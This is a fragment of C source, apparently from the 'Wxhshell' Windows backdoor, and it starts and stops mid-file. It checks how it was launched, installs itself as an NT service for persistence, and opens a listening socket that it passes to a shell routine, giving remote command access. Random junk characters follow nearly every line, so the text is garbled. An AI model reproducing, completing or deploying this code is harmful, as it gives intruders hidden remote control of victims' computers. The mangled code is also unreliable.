ULONG InheritedFromUniqueProcessId; k$5 s{q
} PROCESS_BASIC_INFORMATION; f:*vr['d
G)#$]diNuX
PROCNTQSIP NtQueryInformationProcess; 1"8yLvtn
UX-&/eScN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nMDxH$O
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rWys'uc
&uP~rEJl+
HANDLE hProcess; o)6p A^+
PROCESS_BASIC_INFORMATION pbi; h1 WT
M)*\a/6?{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6-`|:[Q~
if(NULL == hInst ) return 0; QY/hI`
DU%w1+u
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1}hIW":3Sr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4%WzIzRb
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hPq%Lc
kdz=ltw
if (!NtQueryInformationProcess) return 0; -?]W*f
#QCphhG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &1%q"\VI
if(!hProcess) return 0; O/:UJ( e{
)%rg?lI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G;>
_<22
*"9><lJ-!
CloseHandle(hProcess); PFUO8>!pA\
}:: S0l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MT(o"ltQ
if(hProcess==NULL) return 0; 5<I
T5urZq*R
HMODULE hMod; +% /s*EC'w
char procName[255]; 0CSv10Tg
unsigned long cbNeeded; Iff9'TE
'65LKD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~HQ9i%exg
80A.<=(=.
CloseHandle(hProcess); [ dtbkQt,c
=to=8H-
if(strstr(procName,"services")) return 1; // 以服务启动 !=;XBd-
5J8r8` t
return 0; // 注册表启动 '`'GK&)
} =b;>?dP
IH$0)g;s
// 主模块 b~dIk5>O
int StartWxhshell(LPSTR lpCmdLine) Q1V9PRZX
{ 9nu3+.&P
SOCKET wsl; J0zn-
BOOL val=TRUE; .CP&bJP%
int port=0; s
{^yj
struct sockaddr_in door; +_-bJo2a
:akT 'q#
if(wscfg.ws_autoins) Install(); S"9zc
,]
"#mBcQ;QLV
port=atoi(lpCmdLine); S9HwIH\m
}68i[v9Njk
if(port<=0) port=wscfg.ws_port; Nn>'^KZNG
=PGs{?+&O
WSADATA data; c1X1+b,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $mF_,|
t6v/sZ{F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]v+31vdf:O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c8Z wr]DF
door.sin_family = AF_INET; vb9OonE2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E2)h?cs
door.sin_port = htons(port); x8GJY~:SW
y
qtKy
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jk,;JQ
closesocket(wsl); = k\J<
return 1; :qC'$dO!
} r1RG TEkD
1CLL%\V
if(listen(wsl,2) == INVALID_SOCKET) { 5nbEf9&
closesocket(wsl); <nEi<iAY>U
return 1; G
"P4-
} f6$b
s+oP
Wxhshell(wsl); q -8t'7
WSACleanup(); 3Hf0MAt
.s$z/Jv
return 0; e<r,&U$
$XoQ]}"O
} ^*fQX1h<
"`N-* ;*W
// 以NT服务方式启动 \W,I?Kx$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 36US5ef
{ ^n0]dizB
DWORD status = 0; /dnCwFXf
DWORD specificError = 0xfffffff; ON+J>$[[
;#Q%j%J
serviceStatus.dwServiceType = SERVICE_WIN32; 3_A
*$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hMtf.3S7c
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s+>:,U<A
serviceStatus.dwWin32ExitCode = 0; H#ClIh?'b
serviceStatus.dwServiceSpecificExitCode = 0; L5MzLE&~
serviceStatus.dwCheckPoint = 0; sVex
(X
serviceStatus.dwWaitHint = 0; b86}% FM
k{t`|BnPKB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I}R0q
if (hServiceStatusHandle==0) return; P;4w*((} ~
nB .G
status = GetLastError(); [=~ pe|8:
if (status!=NO_ERROR) o6 $4/I
{ sH\5/'?
serviceStatus.dwCurrentState = SERVICE_STOPPED; o.I6ulY8
serviceStatus.dwCheckPoint = 0; l&?ii68/
serviceStatus.dwWaitHint = 0; )=Jk@yj8x
serviceStatus.dwWin32ExitCode = status; y(
y8+ZT
serviceStatus.dwServiceSpecificExitCode = specificError; B#9{-t3Vf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @IXsy
return; ->N8#XH2=
} k1Q?'<`
j&k6O1_
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0Fu~%~#E$
serviceStatus.dwCheckPoint = 0; 4>J
serviceStatus.dwWaitHint = 0; y+7PwBo%e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '(/7[tJ
} yr,=.?C-
{s;U~!3aY
// 处理NT服务事件,比如:启动、停止 ElUEteZ
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6uR^%W8]
{ 5eWwgA
switch(fdwControl) }l=xiAF
{ XC+A_"w)
case SERVICE_CONTROL_STOP: S{3nM<
serviceStatus.dwWin32ExitCode = 0; JfPD}w
serviceStatus.dwCurrentState = SERVICE_STOPPED; G}p\8Q}'
serviceStatus.dwCheckPoint = 0; 'F3)9&M
serviceStatus.dwWaitHint = 0; qgrg CJ
{ vx4+QQYP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mkR2i>
} #KO,~]k5|e
return; 2it?$8#i
case SERVICE_CONTROL_PAUSE: M9f35
:
serviceStatus.dwCurrentState = SERVICE_PAUSED; Dwzg/F(
break; yq$,,#XDD=
case SERVICE_CONTROL_CONTINUE: tor!Dl@Mo
serviceStatus.dwCurrentState = SERVICE_RUNNING; aM;W$1h
break; ]LM-@G+Jz
case SERVICE_CONTROL_INTERROGATE: xMBaVlEN
break; -
|gmQG
}; 7VP32Eh[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]Y,q
w
} Tyck/ EO
A%^ILyU6c
// 标准应用程序主函数 0x!2ihf
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fgh]KQ/5
{ H$6`{lx,
r
hfb ftw
// 获取操作系统版本 LCQE_}Mh
OsIsNt=GetOsVer(); fj&i63?e
GetModuleFileName(NULL,ExeFile,MAX_PATH); >]c*'~G&